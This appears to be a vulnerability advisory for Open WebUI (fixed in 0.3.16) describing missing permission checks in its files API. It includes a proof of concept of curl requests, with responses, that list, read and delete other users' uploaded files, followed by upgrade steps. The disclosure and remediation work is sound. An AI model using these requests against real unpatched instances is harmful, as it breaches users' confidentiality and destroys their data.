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GHSA-r8wh-8m7r-fh33 CVE-2026-45301 PYSEC-2026-2753

Open WebUI: Missing permission check in files API allows authenticated users to list, access and delete every uploaded file

High PyPI
Severity
8.1 / 10
High · CVSS 3.1
Exploit chance (EPSS)
0.27%
Chance of exploitation in the next 30 days. Higher than 19.73% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-284 Improper Access Control
Fix
0.3.16
Upgrade open-webui to this version or later

Description

Summary

A missing permission check in all files related API endpoints allows any authenticated user to list, access and delete every file uploaded by every user to the platform.

Details

All files/ related endpoints lack permission checks.

Listing all files

For example, let's see how file listing is implemented: https://github.com/open-webui/open-webui/blob/e2b7296786053dfc77f6ae0205a1b195e05a712c/backend/apps/webui/routers/files.py#L107-L110 https://github.com/open-webui/open-webui/blob/e2b7296786053dfc77f6ae0205a1b195e05a712c/backend/apps/webui/models/files.py#L26 Notice the endpoint depends only on an authenticated user check, no file filtering is done to match the uploaded files' user_id to the requesting user.

This problem repeats itself throughout the various route implementations, allowing any user to perform actions on any file. Some note worthy functions:

Accessing the content of any file

https://github.com/open-webui/open-webui/blob/e2b7296786053dfc77f6ae0205a1b195e05a712c/backend/apps/webui/routers/files.py#L173-L193

Deleting any file

https://github.com/open-webui/open-webui/blob/e2b7296786053dfc77f6ae0205a1b195e05a712c/backend/apps/webui/routers/files.py#L224-L241

PoC

Configuration
  1. I ran a clean install of the latest version using one of the docker one-liners on an Ubuntu desktop: docker run -d -p 3000:8080 -v ollama:/root/.ollama -v open-webui:/app/backend/data --name open-webui --restart always ghcr.io/open-webui/open-webui:ollama
  2. I created an admin user
  3. I created a second user to act as the threat actor with no elevated permissions
  4. Admin user uploaded test.txt in a conversation with model
  5. Admin user uploaded mydeepest_secret.docx in a conversation with model
Listing files uploaded by other users
  1. Login to threat actor
  2. Perform a GET request to /api/v1/files/
curl -X 'GET' \
  'http://localhost:3000/api/v1/files/' \
  -H 'accept: application/json'
[
  {
    "id": "b9733e9c-0714-4425-8915-d0361bf66dfc",
    "user_id": "c0c16e7a-6f81-4863-8b71-e56e2e389cf1",
    "filename": "b9733e9c-0714-4425-8915-d0361bf66dfc_test.txt",
    "meta": {
      "name": "test.txt",
      "content_type": "text/plain",
      "size": 4,
      "path": "/app/backend/data/uploads/b9733e9c-0714-4425-8915-d0361bf66dfc_test.txt"
    },
    "created_at": 1724709202
  },
  {
    "id": "8f058e18-fec1-4b9f-bb4e-c17f39d03c98",
    "user_id": "c0c16e7a-6f81-4863-8b71-e56e2e389cf1",
    "filename": "8f058e18-fec1-4b9f-bb4e-c17f39d03c98_mydeepest_secret.docx",
    "meta": {
      "name": "mydeepest_secret.docx",
      "content_type": "application/vnd.openxmlformats-officedocument.wordprocessingml.document",
      "size": 6485,
      "path": "/app/backend/data/uploads/8f058e18-fec1-4b9f-bb4e-c17f39d03c98_mydeepest_secret.docx"
    },
    "created_at": 1724710236
  }
]
Accessing other users' file content
  1. Login to threat actor
  2. Perform a GET request to /api/v1/files/{id}/content
curl -X 'GET' \
  'http://localhost:3000/api/v1/files/b9733e9c-0714-4425-8915-d0361bf66dfc/content' \
  -H 'accept: application/json'
wow
Deleting another user's uploaded file
  1. Login to threat actor
  2. Perform a DELETE request to /api/v1/files/{id}
curl -X 'DELETE' \
  'http://localhost:3000/api/v1/files/8f058e18-fec1-4b9f-bb4e-c17f39d03c98' \
  -H 'accept: application/json'
{
  "message": "File deleted successfully"
}
  1. We will verify this action by furthur listing all files as mentioned above:
[
  {
    "id": "b9733e9c-0714-4425-8915-d0361bf66dfc",
    "user_id": "c0c16e7a-6f81-4863-8b71-e56e2e389cf1",
    "filename": "b9733e9c-0714-4425-8915-d0361bf66dfc_test.txt",
    "meta": {
      "name": "test.txt",
      "content_type": "text/plain",
      "size": 4,
      "path": "/app/backend/data/uploads/b9733e9c-0714-4425-8915-d0361bf66dfc_test.txt"
    },
    "created_at": 1724709202
  }
]

Impact

Having access to user uploaded files, regardless of ownership or permission level, breaks the confidentiality of sensitive data stored by users. Furthermore, the ability to delete other user's uploaded files disrupts the integrity of the system.

Personal Notice

In case this submission does get recognized and numbered as a CVE I'd perfer to be credited by my full name - Yuval Gal, instead of my GitHub handle.

Thanks in advance and have a good week (:

Credits

This vulnerability was reported by Yuval Gal (GitHub: @vi11ain).

Affected versions

PyPI

PackageVulnerableFixed in
open-webui
< 0.3.16
0.3.16

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

open-webui PyPI → 0.3.16

pip
pip install --upgrade "open-webui>=0.3.16"
poetry
poetry add "open-webui>=0.3.16"
uv
uv add "open-webui>=0.3.16"

Severity breakdown

CVSS 3.1 8.1

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

Weakness

CWE-284: Improper Access Control

The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.

How to prevent it
  • Architecture and Design, Operation: Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.
  • Architecture and Design: Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-wvm9-9g5j-623f
Open WebUI: Users denied by the OAuth role policy can still sign in via token exchange
Medium Also affects open-webui
GHSA-4qg5-cxx4-g927
Open WebUI: Users denied by the OAuth domain allowlist or role policy can still sign in via token exchange
Medium Also affects open-webui
GHSA-jqhh-cjmq-vmv6
Open WebUI: Any authenticated user can hang the server via a cyclic chat message history
Medium Also affects open-webui
GHSA-5x7x-4c3c-qf5w
Open WebUI: Server-side fetches reach blocked and internal hosts via unvalidated HTTP redirect targets
Medium Also affects open-webui
GHSA-3cgp-3cqx-j8w2
Open WebUI: Any authenticated user can hang the server via message deletion in a cyclic chat tree
Medium Also affects open-webui
GHSA-34r3-9m95-vq73
Open WebUI: Any authenticated user can reach the Azure platform channel via server-side web fetch
High Also affects open-webui
GHSA-2724-6cpj-gf3v
Open WebUI: Non-admin users can delete admin-owned external knowledge connections via knowledge base deletion
High Also affects open-webui
GHSA-3pf7-q2g3-wj28
Open WebUI: Any authenticated user can inject chats into another user's folder via chat completions
Medium Also affects open-webui
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